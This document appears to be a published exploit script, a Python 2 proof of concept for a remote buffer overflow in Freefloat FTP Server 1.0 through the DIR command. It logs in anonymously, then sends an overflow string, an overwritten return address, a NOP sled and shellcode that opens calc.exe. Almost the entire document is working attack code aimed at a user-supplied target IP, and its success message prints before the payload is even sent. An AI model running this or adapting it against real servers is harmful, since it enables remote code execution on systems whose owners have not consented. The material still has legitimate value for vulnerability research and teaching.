Freefloat FTP Server 1.0 DIR Buffer Overflow

`import socket  
import sys  
import os  
  
print '''  
  
##############################################  
# Created: ScrR1pTK1dd13 #  
# Name: Greg Priest #  
# Mail: [email protected] #   
##############################################  
  
# Exploit Title: FreefloatFTPserver1.0_dir_command_remotecode_exploit  
# Date: 2016.11.02  
# Exploit Author: Greg Priest  
# Version: FreefloatFTPserver1.0  
# Tested on: Windows7 x64 HUN/ENG Professional  
'''  
  
ip = raw_input("Target ip: ")  
port = 21  
overflow = 'A' * 247  
eip = '\xF4\xAF\xEA\x75' + '\x90' * 10  
#shellcode calc.exe  
shellcode =(  
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +  
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +  
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +  
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +  
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +  
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +  
"\x45\x81\x3e\x43\x72\x65\x61\x75" +  
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +  
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +  
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +  
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +  
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +  
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +  
"\x53\x53\x53\x53\x52\x53\xff\xd7")  
  
remotecode = overflow + eip + shellcode + '\r\n'  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
connect=s.connect((ip ,port))  
s.recv(1024)  
s.send('USER anonymous\r\n')  
s.recv(1024)  
s.send('PASSW [email protected]\r\n')  
s.recv(1024)  
print '''  
Successfull Exploitation!  
'''  
message = 'dir ' + remotecode   
s.send(message)  
s.recv(1024)  
s.close  
  
`